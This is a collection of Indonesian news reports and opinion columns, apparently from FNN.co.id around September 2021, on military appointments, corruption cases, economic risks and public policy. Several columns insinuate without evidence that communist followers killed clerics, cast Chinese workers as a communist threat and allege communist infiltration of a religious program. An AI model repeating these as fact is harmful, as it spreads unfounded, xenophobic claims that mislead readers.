Jokowi kembali mengajukan Panglima TNI dari matra Darat. Yakni Jenderal Gatot Nurmantyo yang akhirnya disetujui DPR. “Musuh PKI itu utamanya dari Angkatan Darat. Makanya, dipilihlah Gatot Nurmantyo,” ujar sumber FNN.co.id yang dekat dengan Istana. Mungkinkah pengganti Marsekal Hadi Tjahjanto nanti masih dari matra Darat? Ancaman Neo-PKI jelas masih terasa. Diduga, peristiwa pembunuhan dan penganiayaan ulama yang terjadi selama ini dilakukan oleh pengikut PKI. Banjirnya TKA China yang juga komunis jelas juga merupakan ancaman. Dari tiga nama calon Panglima TNI yang mencuat itu, siapakah yang bakal diajukan Presiden Jokowi ke DPR nanti? Kabarnya, Jokowi akan memilik sosok yang punya pengalaman melibas teroris dan pemberontak. Presiden Jokowi sebelumnya sudah meminta masukan dan data keamanan nasional. Juga, sosok yang mampu tegas dalam bersikap. “Sampeyan pasti tahu, siapa yang akan dipilih Mas Jokowi,” lanjut sumber tadi. Yang jelas, tidak akan jauh dari nama Andika Perkasa, Yudo Margono, dan Fajar Prasetyo. Tinggal melihat siapa diantaranya yang punya pengalaman melibas pemberontak dan tegas dalam bersikap! Dialah yang bakal dipilih Presiden Jokowi! Penulis adalah Wartawan FNN.co.id

KPK Jemput Paksa Azis Syamsuddin

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menjemput paksa Wakil Ketua DPR RI Azis Syamsuddin, Jumat. Azis tiba di Gedung KPK, Jakarta, Jumat pukul 20.00 WIB dengan mengenakan batik lengan panjang berwarna coklat. Ia memilih bungkam dan langsung masuk ke Gedung KPK untuk menjalani pemeriksaan. Sebelumnya, Ketua KPK Firli Bahuri membenarkan perihal penjemputan paksa Azis. "AS (Azis Syamsuddin) sudah diketahui, Alhamdulillah sudah ditemukan, rumahnya ditemukan," kata Firli dalam keterangannya di Jakarta, Jumat. Sebelumnya, KPK meminta Azis agar kooperatif memenuhi panggilan untuk diperiksa terkait penanganan perkara dugaan korupsi di Kabupaten Lampung Tengah, Lampung. KPK membenarkan pada Jumat ini memanggil Azis. Sebelumnya, KPK telah menerima surat dari Azis perihal permintaan penundaan jadwal pemeriksaan karena sedang menjalani isolasi mandiri (isoman). Dalam suratnya, Azis mengaku sempat berinteraksi dengan seseorang yang dinyatakan positif COVID-19 beberapa waktu lalu. KPK saat ini sedang melakukan penyidikan kasus dugaan suap terkait dengan penanganan perkara korupsi yang ditangani KPK di Kabupaten Lampung Tengah. Namun KPK belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka dalam kasus tersebut. Sebagaimana kebijakan Pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. Kendati demikian, nama Azis santer dikabarkan ikut terjerat dalam kasus tersebut. KPK juga telah memeriksa beberapa orang saksi di Jakarta, Bandung, Tangerang, dan Lampung dalam penyidikan kasus itu. Dalam surat dakwaan mantan penyidik KPK Stepanus Robin Pattuju dan advokat Maskur Husain, Azis selaku Wakil Ketua DPR RI dari Fraksi Partai Golkar bersama dengan kader Partai Golkar lainnya, yaitu Aliza Gunado disebut memberikan suap senilai Rp3.099.887.000 dan 36 ribu dolar AS (sekitar Rp513 juta), sehingga totalnya sekitar Rp3,613 miliar ke Stepanus Robin Pattuju untuk mengurus kasus di Lampung Tengah. (ant, sws)

Serangan Balik

By M Rizal Fadillah SETELAH Menko Marinves Luhut Binsar Panjaitan melaporkan aktivis HAM Haris Azhar dan Koordinator KontraS Fathia Maulida ke Kepolisian, serangan balik kepada Luhut akan dilakukan. Kini proses pematangan untuk bongkar-bongkar keterlibatan Luhut di Papua. Tema "Ada Lord Luhut di Balik Relasi Ekonomi-Ops Militer Intan Jaya" terus menggelinding. Alih-alih meminta maaf sesuai Somasi LBP, keduanya bertekad untuk lebih jauh membuktikan keterlibatan Luhut dalam bisnis tambang melalui PT Tobacom Del Mandiri anak usaha PT Toba Sejahtera Group yang dimiliki Luhut. Menurut Pengacara Haris Azhar laporan Luhut merupakan "kesempatan untuk mengungkap jejak Luhut di Papua dalam bisnis tambang di Blok Wabu". Perkara Perdata tuntutan Luhut sebesar 100 Milyar yang akan disumbangkan kepada masyarakat Papua ditendang balik oleh para pengamat sebagai penghinaan kepada masyarakat Papua. Terbuka untuk aksi masyarakat atas penghinaan ini. Papua dinistakan bagai pengemis yang menengadahkan tangan untuk disumbang dari tetesan darah aktivis yang kalah perkara. Serangan balik juga terjadi dalam kasus Sentul City. Kritikus Rocky Gerung yang diancam pembongkaran paksa atas rumah dan tanah yang dibelinya, ternyata bukan saja melawan tetapi juga mendapat dukungan dari rakyat setempat. Tokoh-tokoh terus datang bertandang. Terakhir Lieus Sungkarisma, Shohibul Iman, Amien Rais, dan Gatot Nurmantyo. Lieus memberi peluru untuk serangan balik berupa kepemilikan tanah ahli waris jauh sebelum dikuasai PT Sentul City. Bersama Rizal Ramli, Amien Rais dan Gatot Nurmantyo, Rocky Gerung menggagas petisi untuk boikot saham PT Sentul City Tbk. Pemiliknya sendiri Kwee Cahyadi Kumala adalah alumni Lapas terpidana korupsi. Serangan balik Rocky Gerung akan membuat PT Sentul City Tbk, yang diduga kuat didukung oleh Pemerintah, akan kalang kabut atau babak belur. Bagai squad Italia yang jago bertahan dan melakukan serangan balik, Azhar, Fathia, dan Rocky akan menyerang Luhut dan Sentul. Serangan balik indah dan terukur Italia membuat bingung Spanyol. Gianlugi Donnarumma mengoper bola ke Marco Verratti yang lantas meneruskan kepada Lorenzo Insigne di sisi sayap. Pemain mungil ini memberi umpan terobosan kepada Ciro Immobile. Nah, pemain Bek Spanyol Aymeric Laporte berusaha untuk mencegah umpan itu. Akan tetapi seorang Federico Chiesa mengambil bola dan melepaskan tembakan tepat sasaran..gool ! Spanyol pun bengong. Serangan balik pasukan Haris Azhar, Fathia Maulida, dan Rocky Gerung sangat membahayakan. Supporter di pinggir lapangan sangat mendukung. *) Pemerhati Politik dan Kebangsaan

Ini Tiga Hal Mengerikan yang Diungkap Sri Mulyani

Jakarta, FNN - Menteri Keuangan Sri Mulyani Indrawati mengungkapkan sederet ancaman bagi perekonomian Indonesia. Mulai dari pandemi Covid-19 hingga geopolitik global. Menurut Sri Mulyani, untuk saat ini, penyebaran Virus Corona di Indonesia memang sudah menurun karena berbagai kebijakan pengetatan yang dilakukan oleh pemerintah. Namun, kewaspadaan harus ditingkatkan apalagi berbagai kegiatan sudah mulai dilonggarkan mulai dari sekolah hingga kantor. "Indonesia sudah melewati masa puncak gelombang kedua dan kasus harian sekarang di bawah 3 ribu. Meskipun begitu kita masih harus waspada. Apalagi sudah masuk sekolah dan ini harus menjadi perhatian kita. Kita nggak boleh lupa 1,5 bulan lalu menghadapi kasus di atas 50 ribu kasus per hari," ujarnya dalam konferensi pers virtual yang dikutip Jumat (24/9/2021). Kewaspadaan terhadap virus,terutama pada varian delta atau pun mutasi lainnya yang nanti bisa kembali muncul dan menjadi gelombang ketiga. Apalagi saat ini masih banyak negara yang berjuang melawan varian delta.. Selain virus, aspek lain yang bisa mengancam perekonomian Indonesia adalah kenaikan inflasi yang tidak sebanding dengan pemulihannya yang masih dini di berbagai negara di dunia. Hal itu tentu akan memunculkan respons dari kebijakan moneter negara tersebut, di antaranya kenaikan suku bunga. Dengan inflasi yang tinggi dan tidak sejalan dengan pemulihan ekonominya, maka kenaikan suku bunga tidak bisa dihindari. Ini terjadi di banyak negara diantaranya Rusia yang inflasinya 7% dan respons kebijakan suku bunganya menjadi 6,5%. Begitu juga dengan Turki yang inflasinya 19,25% dan menyebabkan suku bunganya tetap tinggi di 19%. Menurut Sri Mulyani, kebijakan moneter yang diambil berbagai negara ini, terutama di Amerika Serikat (AS), akan menimbulkan gejolak di pasar keuangan dunia. Ini tentu sangat mempengaruhi kondisi perekonomian Indonesia. "Laju inflasi di berbagai negara menjadi perhatian yang harus kita waspadai," jelasnya. Selanjutnya, yang saat ini menjadi perhatian dan menjadi risiko baru adalah stabilitas sektor keuangan yang terjadi di China. Di mana salah satu perusahaan terbesar di sana, yaitu Evergrande, mempunyai utang di atas US$ 300 miliar dan mengalami gagal bayar. "Mereka akan mengalami situasi yang sangat tidak mudah dan memiliki dampak yang luar biasa besar baik untuk perekonomian domestik di China dan di dunia. Jadi kita harus melihat dengan mewaspadai apa yang terjadi di dalam perekonomian China dengan adanya fenomena gagal bayar dari perusahaan Evergrande ini," tuturnya. (CNBC Indonesia)

Tiga Musuh Utama Pemerintahan Jokowi

Oleh Salamuddin Daeng *) MUSUH utama pemerintah ternyata bukan dari dalam negeri, tapi dari luar, dari global. Ketiga musuhnya tersebut yakni : Pertama, pendemi Covid 19 yang menguras kantong Pemerintah dan BUMN untuk impor vaksin, impor obat, ongkos rumah sakit, tenaga kesehatan dan lain sebagainya. Covid 19 ini akan menguras kantong pemerintah sampai kering kerontang. Kedua, perubahan iklim atau climate change yang akan mengeringkan kantong Pemerintah. Perubahan iklim akan membuat harga minyak yang rendah, menyebabkan kantong Pemerintah kering kerontang. Minyak adalah ideologi dari kantong pemerintah. Minyak amblas maka pemerintahpun sekarat. Sementara dari batubara meskipun Indonesia eksportir batubara nonor 2 di dunia, namun uang batubara tidak nyangkut ke APBN. Uang batubara kabur dibawa ke luar, disimpan di luar. Sekarang batubara telah menjadi musuh bersama internasional, karena dianggap biang kerok perubahan iklim. Ketiga, digitalisasi yang mengeringkan penerimaan negara dari pajak. Digitalisasi akan membawa perdagangan tanpa batas negara, fiskal dan bahkan moneter. Digitalisasi akan mengeringkan kas negara karena tidak akan ada pajak masuk. Praktek perdagangan akan lebih efisien People to People. Digitalisasi akan memusnahkan semua hambatan, semua barrier yang selama ini menjadi alat Pemerintah untuk mengeruk pajak dan pungutan memaksa. Ketiga musuh itu akan membuat rumah tangga Pemerintahan Jokowi babak belur alias kantong kempes (tongpes). Sementara kewajiban makin meningkat, utang makin besar dan harus dibayar tepat waktu. Termasuk utang seluruh BUMN yang selama 7 tahun terakhir dikuras uangnya, tampaknya semua utangnya harus dialihkan ke APBN. Tampaknya BI tidak kuat lagi diperah untuk memberikan uang kepada Memteri Keuangan. Kasus menagih piutang BLBI yang sekarang sedang diusahakan oleh pemerintah akan semakin membuat BI seperti kepepet. Menuruti keinginan pemerintah secara terus menerus yang dapat membuat pejabat BI memghadapi masalah seperti BLBI, atau menolak dengan konsekuensi diobrak abrik oleh pemerintah. Namun yang jelas BI dalam kondisi mengerikan. Uang LPS telah disedot oleh pemerintah. Demikian juga uang haji, uang buruh, uang taspen PNS, uang asuransi karyawan BUMN telah disedot oleh pemerintah. Uang-uang ini sudah keset. Meskipun pemerintah terus berusaha mengalihkan sisa-sisa uang ini ke APBN. Saat yang sama pengelola dana publik ini tengah disandera dengan segudang kasus korupsi, membuat manajemen pengelola dana publik ini kegenjet. Satu satunya pilihan adalah memindahkan dana jamsostek, asabri, dana haji, dana asuransi karyawan BUMN seluruhnya ke dalam surat Utang negara (SUN). Peras sampai kering. Sementara para debt colector siap-siap untuk berkumpul di depan istana, mulai dari debt collector penagih dana Covid 19 sampai debt collector penagih utang infrastruktur yang mangkrak dan nganggur. Utang subsidi kepada BUMN terutama BUMN energi yang terakumulasi sedang ditunggu pembayaranyna oleh Pertamina, PLN, dan PGN, karena penundaan pembayaran bertahun tahun. Di ujungnya semua tak bisa dibayar. Kantong kempes di tengah kehausan akan uang dalam rangka membangun infrastruktur politik menuju pemilu 2024. Partai-partai Politik mengumpulkan uang, para pemburu jabatan juga mengumpulkan uang. Sementara sumber, sumur uang sudah mengering. Sebagian besar sumur sudah kemasukan bangkai tikus dan sangat bau. Para penghuni rumah Pemerintahan Jokowi mulai saling jambak dengan keras. Ngeri Jika pemerintah ini bertahan, maka keadaan di dalam rumah pemerintahan makin panas, sementara mau keluar di luar sedang lock down, gak bisa ke mana- mana. Jika pemerintahan ini gagal anggaran, maka berhenti dengan terpaksa. Pemerintahan bisa mengembalikan mandat kepada negara. Namun gonjang-ganjing keuangan masih akan terus berlangsung. Covid-19 diproyeksikan berada pada puncak di 2025. Siapa menjawab ini? Pangeran samber nyowo? *) Peneliti AEPI

Sindir Amien pada Syafii Sahabatnya

Oleh Ady Amar *) AMIEN Rais dan Syafii Maarif itu bersahabat, tidak patut diragukan. Mereka sama-sama berkhidmat di Persyarikatan Muhammadiyah. Usia Pak Amien dengan Pak Syafii lebih muda sekitar sepuluh tahunan. Keduanya pernah sebagai Ketua Umum PP Muhammadiyah. Pak Syafii meneruskan jabatan sebagai Ketua Umum yang ditinggalkan Pak Amien, yang pasca reformasi 1998 mendirikan Partai Amanat Nasional (PAN). Pak Syafii Maarif-lah yang didapuk sebagai pengganti Pak Amien Rais. Keduanya pun mengambil gelar Ph.D-nya di kampus yang sama, Chicago University. Sikap keduanya pun hampir sama tegasnya pada prinsip yang diyakininya, meski akhir-akhir ini pilihan perjuangan keduanya berseberangan. Di era Presiden Joko Widodo (Jokowi), Pak Amien sebagaimana sikapnya selalu memilih mengkritisi kebijakan yang melenceng. Ia bisa disebut oposan terhadap rezim. Tapi Pak Syafii lebih memilih seolah bagian dari rezim, sehingga suara kritisnya sulit terdengar. Sikapnya sunyi, bisa jadi karena asyik duduk sebagai Anggota Dewan Pengarah Badan Pembina Ideologi Pancasila (BPIP), yang produknya justru mengundang kontroversial. Kehadirannya di sana serasa mubazir. Mereka berdua saat ini seolah berada di simpang jalan. Tidak tampak sikap di antara keduanya saling menguatkan, sikap bersinergi menyikapi suatu permasalahan negara dan bangsa. Mereka masing-masing larut dalam pilihannya, pilihan yang bertolak belakang antarkeduanya. Tidak tampak sedikit pun bahwa mereka berdua sebenarnya keluar dari rahim yang sama, Muhammadiyah. Memang tidaklah ada yang mampu menjamin, bahwa seseorang yang semula berjuang bersama, bersinergi dalam sikap dan tindakan, itu pastilah akan terus demikian, seolah hanya bisa dipisahkan oleh kematian. Pilihan politik dan kebijakan biasanya yang akan memisahkan seseorang. Soekarno dan Hatta, satu contoh dwitunggal yang akhirnya berpisah. Hatta meninggalkan Soekarno, itu karena perbedaan prinsip yang diyakininya. Sindiran Amien Sebuah opini cukup panjang, berkelas dan tajam muncul di di HU Republika, (20 Juni 2017), ditulis Prof. Syafii Maarif. Judulnya, "Nasionalisme Ekonomi dan Kemerdekaan Bangsa". Opini yang ditulisnya itu menyoal penguasaan tanah atau lahan yang amat tidak adil. Opini kritis yang ditulis Prof. Syafii, itu periode pertama Jokowi sebagai Presiden, yang berpasangan dengan Jusuf Kalla. Ada satu paragraf dari tulisannya itu menyorot demikian, "70 tahun kita merdeka. Kita lihat ketimpangan sosial masih ada. Kita lihat penguasaan tanah ini harus cepat diatasi," tulis Prof. Syafii. "Teman saya, sahabat saya, Syafii Maarif, tumben berani tegas mengenai penguasaan lahan atau tanah di negara kita yang menurut saya memang sudah menghina bangsa Indonesia." Itu disampaikan Pak Amien dalam video berjudul, "Rocky Gerung VS PT Sentul City, Potret Keadilan VS Kezaliman". Amien mengaitkan pernyataan Syafii Maarif beberapa tahun lalu itu dengan penguasaan lahan oleh PT Sentul, Tbk, seluas 3.000 hektar di Kabupaten Bogor, Jawa Barat. Pak Amien berharap agar Pak Syafii tetap konsen bicara soal itu. Bicara berkenaan dengan ketidakadilan dan kesewenang-wenangan penguasaan lahan atau tanah. "Syafii Maarif bilang 80 persen tanah dikuasai konglomerat Indonesia, 13 persen oleh asing. Ini kata Syafii Maarif." Artinya, hanya 7 persen tanah di Indonesia yang kepemilikannya dimiliki oleh masyarakat biasa. Lalu sentil Pak Amien, itu agar Prof. Syafii lebih sering benahi hal yang mungkar. Jangan hanya amar ma'ruf saja. Maaf ya, kita masih bersahabat," tutup Pak Amien. Kasus kisruh tanah antara Rocky Gerung dan PT Sentul City, Tbk, ini disikapi Amien Rais dengan mencantol temuan sahabatnya, sekaligus mengingatkan sahabatnya, bahwa ada kezaliman nyata di depan mata, yang selayaknya itu bisa disikapi bersama. (*) *) Kolumnis

Mewaspadai Pikiran Komunis dalam Program Moderasi Beragama

By M Rizal Fadillah SEPERTINYA tak ada hubungan antara komunisme dengan moderasi beragama akan tetapi tanpa batasan yang jelas pada konsepsi moderasi beragama maka para penumpang gelap akan mudah untuk menunggangi apakah itu sekularisme, pragmatisme ataupun komunisme. Menteri Pendidikan dalam acara "Malam Peluncuran Moderasi Beragama" menyatakan tengah merancang kurikulum moderasi beragama untuk menghapus intoleransi. Menurutnya intoleransi adalah dosa nomor satu pendidikan kita. Nadiem bertekad untuk membasmi dosa ini. Tekad Nadiem ini diarahkan awal pada elemen guru di sekolah "makanya saya luar biasa senangnya dan mendukung 100 persen program modul-modul pembelajaran untuk guru-guru dalam moderasi beragama". Tentu sama saja arahnya agar guru guru itu harus dibersihkan dulu dari mindset intoleransi dan kemudian, meminjam jargon komunis, "menghafalkan kategori-kategori". Membangun toleransi bukanlah dengan mengubah pemaknaan agama dengan diksi atau terminologi baru. Semua agama dipastikan mengajarkan toleransi. Tolong sebut agama apa yang tidak mengajarkan. Termasuk, apalagi, Islam yang diduga menjadi sasaran Menteri Pendidikan dan Menteri Agama yang rajin berteriak soal moderasi beragama membasmi intoleransi. Sejatinya dosa utama pendidikan kita adalah miskin pengetahuan dan pemahaman beragama. minim waktu untuk penanaman nilai-nilai agama. Semakin dalam memahami agama dipastikan semakin toleran dalam beragama. Jadi prioritas sebenarnya bukan kurikulum moderasi beragama tetapi peningkatan intensitas belajar agama. Menteri Pendidikan selayaknya selalu menghargai dan menjalankan agama serta meyakini pentingnya pelajaran agama di bangku sekolah. Tanpa dasar ini maka moderasi beragama untuk membasmi intoleransi akan bergeser menjadi penipisan keyakinan dan pelaksanaan keagamaan. Disinilah para penjahat yang memusuhi agama akan mengendap dan menyusup pada program penipisan faham keagamaan ini. Yang paling ringan adalah pragmatisme yakni sarwa kekinian, kenikmatan, dan keduniawian. Agama hanya penting untuk kehidupan nanti. Lalu sekularisme yang memisahkan agama dengan ekonomi, budaya, ataupun politik. Dan yang paling ekstrim adalah komunisme. Agama itu candu. Mewaspadai pikiran komunisme dalam moderasi beragama disebabkan dua hal, yaitu : Pertama, komunisme dikembangkan secara bertahap yaitu sebelum menghabisi agama diawali dengan penipisan pemahaman dan pelaksanaan. Kedua, fitnah bagi kelompok agama oleh pendukung komunis adalah radikal dan intoleran bahkan teroris. Kamuflase atas dirinyalah yang sebenarnya radikal, intoleran, dan ahli dalam teror. Pak menteri Pendidikan dan Pak Menteri Agama harus waspada pada penyusupan pikiran komunis pada program moderasi beragama yang semakin saja digencarkan. Jangan terjebak pada stigmatisasi bahwa agama itu mendorong radikalisme dan intoleransi. Itu adalah pikiran komunis. *) Pemerhati Politik dan Kebangsaan

Alex Noerdin Tersandung Kasus Lagi

Jakarta, FNN - Mantan Gubernur Sumatera Selatan Alex Noerdin ditetapkan sebagai tersangka kasus dugaan tindak pidana korupsi pembangunan Masjid Raya Sriwijaya, Palembang. Di saat yang sama, ia sedang terjerat kasus pembelian gas bumi Perusahaan Daerah Pertambangan dan Energi (PDPDE). (ant)

Anies Baswedan Targetkan Air Surut Dalam Enam Jam

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menargetkan genangan air saat musim hujan di Ibu Kota surut dalam waktu kurang dari enam jam setelah hujan berhenti. "Genangan air akan berkurang dengan KPI (Key Performance Indicator) yang diharapkan gubernur kurang dari enam jam," kata Pelaksana Tugas (Plt) Kepala BPBD DKI Sabdo Kurnianto di Balai Kota Jakarta, Kamis, 23 September 2021. Meski begitu, lanjut dia, target itu diharapkan tercapai jika curah hujan tidak lebih dari 100 milimeter atau tidak dalam keadaan hujan ekstrem. "Kecuali hujan ekstrem karena kami punya drainase itu hanya (menampung) 100 mm hujan," katanya, sebagaimana dikutip dari Antara. Supaya bisa mencapai target itu, pihaknya sudah melakukan mitigasi. Antara lain pengerukan sungai dan waduk untuk menampung debit air lebih besar ketika musim hujan. Dengan mitigasi itu, risiko bencana dapat ditekan termasuk mencegah korban jiwa berjatuhan. Berdasarkan data Badan Meteorologi Klimatologi dan Geofisika (BMKG), kata dia, puncak musim hujan diperkirakan terjadi pada Januari hingga Februari 2022. Di sisi lain, seluruh Satuan Kerja Perangkat Daerah (SKPD) diharapkan saling berkolaborasi dalam melaksanakan mitigasi potensi bencana banjir. "Kita menghadapi musim hujan sudah rutin. Artinya kita punya pengalaman. Kalau 2020 seperti itu, 2021 akan lebih baik. Mudah-mudahan ini lebih baik," katanya. (MD).

Koruptor Juliari Batubara Dijebloskan ke Lapas Tangerang

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengeksekusi mantan Menteri Sosial Juliari Batubara ke Lembaga Pemasyarakatan (Lapas) Kelas I Tangerang, Banten, yang belum lama kebakaran menewaskan 49 orang. Hal itu dilakukan supaya ia menjalani hukuman pidana 12 tahun penjara. "Jaksa eksekusi KPK Suryo Sularso pada hari Rabu (22/9) telah melaksanakan putusan Pengadilan Tipikor atas nama terpidana Juliari P. Batubara yang telah berkekuatan hukum tetap. Ia dimasukkan ke Lapas Kelas 1 Tangerang guna menjalani pidana penjara selama 12 tahun dikurangi selama berada dalam tahanan," kata Pelaksana tugas Juru Bicara KPK, Ali Fikri di Jakarta, Kamis, 23 September 2021. Juliari juga dijatuhi denda sebesar Rp 500 juta dengan ketentuan apabila tidak dibayar diganti dengan pidana kurungan selama enam bulan. Juliari wajib membayar uang pengganti sejumlah Rp 14,5 miliar dengan ketentuan apabila tidak dibayar paling lama 1 bulan setelah perkara berkekuatan hukum tetap, harta bendanya dirampas untuk menutupi uang pengganti. Bila harta bendanya tidak mencukupi, diganti dengan pidana penjara selama dua tahun. Politikus PDIP itu juga dicabut hak untuk dipilih dalam jabatan publik selama empat tahun setelah selesai menjalani pidana pokok. Dalam perkara tersebut, Juliari P. Batubara selaku Menteri Sosial RI periode 2019-2024 dinyatakan terbukti menerima uang sebesar Rp 1,28 miliar dari Harry Van Sidabukke. Kemudian, Rp 1,95 miliar dari Ardian Iskandar Maddanatja, serta uang Rp 29,252 miliar dari beberapa penyedia barang lain sehingga totalnya mencapai Rp 32,482 miliar. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar, serta beberapa penyedia barang lainnya menjadi penyedia dalam pengadaan bantuan sosial sembilan kebutuhan pokok (bansos sembako). Uang suap itu diterima melalui perantaraan Matheus Joko Santoso yang saat itu menjadi pejabat pembuat komitmen (PPK) pengadaan bansos sembako periode April-Oktober 2020. Juga menerima suap dari Adi Wahyono selaku Kabiro Umum Kemensos sekaligus PPK pengadaan bansos sembako Covid-19 periode Oktober-Desember 2020. Matheus Joko dan Adi Wahyono juga menggunakan fee tersebut untuk kegiatan operasional Juliari selaku Mensos dan kegiatan operasional lain di Kemensos. Seperti pembelian ponsel, biaya tes swab, pembayaran makan dan minum, pembelian sepeda Brompton, pembayaran honor artis Cita Citata, pembayaran hewan kurban, hingga penyewaan pesawat pribadi buat Juliari Batubara. Terkait dengan perkara itu, Matheus Joko Santoso telah dijatuhi vonis sembilan tahun penjara. Hukuman itu ditambah denda Rp 450 juta subsider 6 bulan kurungan ditambah kewajiban membayar uang pengganti sebesar Rp 1,56 miliar subsider 1,5 tahun penjara. Sementara itu, Adi Wahyono divonis tujuh tahun penjara ditambah denda Rp 350 juta subsider enam bulan kurungan. (MD).

Lagi, Warga Diamankan Polisi Saat Kunjungan Jokowi Cilacap

Cilacap, FNN - Anggota Kepolisian Resor Cilacap dibantu Pemuda Pancasila mengamankan dua warga saat kunjungan Presiden Joko Widodo (Jokowi) di Kabupaten Cilacap, Jawa Tengah, Kamis, 23 September 2021. Informasi yang dihimpun Antara di Cilacap, dua warga yang belum diketahui identitasnya itu diamankan secara terpisah di sekitar Lapangan Krida Nusantara, Kelurahan Gumilir, Kecamatan Cilacap Utara. Salah seorang anggota Pemuda Pancasila Kabupaten Cilacap, Suarko, mengatakan dua orang yang diamankan tersebut sudah dicurigai sejak awal "Awalnya kami diberi tahu oleh anggota kami bahwa di belakang gawang ada orang yang mencurigakan. Lalu kami kumpulkan anggota untuk titik fokus orang yang dicurigai," ucapnya. Selain itu, kata dia, pihaknya juga diberi tahu oleh polisi jika ada orang yang mencurigakan. Menurut dia, polisi tersebut juga meminta agar segera mengamankan orang itu jika ada pergerakan yang mencurigakan. "Kami saat itu sedang membantu anggota Polres Cilacap yang tengah melakukan pengamanan kunjungan Presiden Jokowi," ujarnya. Akan tetapi, ketika rombongan Presiden Jokowi hendak melintas di dekat lapangan, kata dia, tiba-tiba ada gerakan mencurigakan karena kedua orang tersebut seperti hendak mengeluarkan poster dari dalam tas. Oleh karena itu, Suarko bersama anggota Pemuda Pancasila lainnya langsung mengamankan dua orang tersebut. Kendati demikian, dia mengaku tidak tahu isi atau tulisan dalam poster kertas berwarna putih itu karena belum sempat dibentangkan dan langsung diambil polisi. "Posternya belum sempat dibuka langsung diambil sama polisi," ujarnya. Kedua orang tersebut langsung dibawa ke Kepolisian Sektor Cilacap Utara untuk dimintai keterangan. Berdasarkan informasi yang beredar, kedua orang itu hendak menyampaikan protes kepada pemerintah atas kesulitan warga mendapatkan pekerjaan akibat pandemi Covid-19. Saat dihubungi melalui saluran telefon, Kepala Kepolisian Resor Cilacap Ajun Komisaris Besar, Leganek Mawardi membantah jika ada warga yang diamankan petugas saat kunjungan Presiden Jokowi di Cilacap. "Enggak ada yang diamankan. Kami tidak mengamankan orang. Mungkin dia ingin menyampaikan aspirasi, makanya ditanyain karena tidak sesuai dengan jadwalnya kan, tetapi belum ada laporan untuk diamankan, anak buah saya enggak mengamankan orang itu," katanya. Menurut dia, pihaknya belum menerima laporan dari Kepolisian Sektor Cilacap Utara sehingga belum mengetahui isi poster yang dibawa dua warga tersebut karena masih konsolidasi usai kunjungan Presiden Jokowi. (MD).

Sekitar 100.000 Guru Honorer Lulus Seleksi PPPK Tahap Pertama

Jakarta, FNN - Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi Nadiem Anwar Makarim mengatakan, sekitar 100.000 guru honorer lulus seleksi guru pegawai pemerintah dengan perjanjian kerja (PPPK) tahap pertama. “Jadi berdasarkan hasil seleksi tahap pertama, sekitar 100.000 guru honorer di Tanah Air akan segera diangkat menjadi guru PPPK,” katanya dalam rapat kerja dengan Komisi X DPR yang diikuti via daring di Jakarta, Kamis, 23 September 2021. Ia menambahkan, saat ini 30 persen dari 326.476 posisi PPPK untuk guru sudah terisi. Guru honorer yang belum lulus dalam seleksi tahap pertama bisa mengikuti seleksi tahap kedua dan tahap ketiga. "Setiap guru honorer diberikan kesempatan sebanyak tiga kali dalam mengikuti seleksi guru PPPK ini,” katanya, sebagaimana dikutip dari Antara. Nadiem optimistis jumlah guru honorer yang mengikuti seleksi guru PPPK tahap kedua dan ketiga semakin banyak. Dalam seleksi PPPK 2021 pemerintah menyediakan 506.427 posisi dalam formasi pegawai, namun hanya 326.476 posisi yang mendapatkan pelamar. Sebanyak 179.771 posisi yang pelamarnya kosong mencakup formasi guru di daerah terpencil seperti Nias Utara, Halmahera Utara, Timor Tengah Selatan, dan daerah lainnya. Jumlah guru honorer yang mendaftar mengikuti seleksi PPPK tahap pertama sebanyak 925.637 orang. Akan tetapi, yang berencana mengikuti ujian hanya 608.954 orang dan yang hadir dalam ujian seleksi sebanyak 586.943 orang. (MD).

YAICI Ingatkan SKM Berbahaya Bagi Anak

Padang, FNN - Yayasan Abhipraya Insan Cendekia Indonesia (YAICI) menggandeng PW Aisyiah dalam menyosialisasikan susu kental manis (SKM) bukan pengganti Air Susu Ibu (IBU) sehingga berbahaya jika diberikan kepada anak. Ketua Yayasan Abhipraya Insan Cendekia Indonesia (YAICI) Arif Hidayat di Padang, Selasa mengatakan dalam fikiran masyarakat sudah tertanam persepsi bahwa SKM sebagai susu bernutrisi sehingga mereka memberikan kepada anak. Menurut dia, hal ini terjadi akibat iklan SKM sebagai susu sudah ada sejak hampir seabad silam dan tercipta pemahaman produk tersebut susu bernutrisi. Ia mengatakan sejumlah pihak telah meminta produsen untuk menghentikan iklan SKM sebagai susu sesuai Peraturan Kepala (Perka) Badan Pengawas Obat dan Makanan (BPOM) Nomor 31 Tahun 2018 tentang Produk Pangan Olahan. Menurut dia, Perka BPOM melarang visualisasi iklan SKM dengan menampilkan anak-anak berusia di bawah lima tahun dalam bentuk apa pun. Selain itu BPOM juga melarang produsen menggunakan visualisasi SKM setara dengan produk susu lain sebagai penambah atau pelengkap zat gizi seperti susu sapi. “Jangan lagi iklan SKM menampilkan gambar gelas yang menggambarkan SKM sebagai minuman tunggal, bergizi dan baik untuk pertumbuhan anak. Iklan SKM harus memberikan edukasi bahwa produk itu hanya makanan tambahan,” katanya. Ia mengatakan peraturan ini dipatuhi, sehingga produsen tidak lagi mengiklankan SKM sebagai susu, namun faktanya masih ditemui iklan SKM dengan gambar gelas, yang bisa dikonotasikan bahwa peruntukan SKM sebagai minuman tunggal. "Ini menunjukkan bahwa produsen masih belum berhenti mengiklankan SKM sebagai susu," katanya. Pihaknya pernah melakukan survei di Kota Kendari Provinsi Sulawesi Tenggara dan Kota Batam Provinsi Kepulauan Riau dan menemukan fakta bahwa ibu-ibu memberikan SKM pada anak mereka setiap hari. “Anak-anak ini meminum SKM layaknya susu bubuk sebagai penambah gizi,” katanya. Ia mengatakan kandungan protein dalam SKM yang diproduksi di Indonesia sangat kecil, yakni 2,3 persen lebih rendah dari ketentuan BPOM yang 6,5 persen dan ketentuan WHO (Organisasi Kesehatan Dunia) 6,9 persen. Sementara kandungan gula lebih tinggi yakni di atas 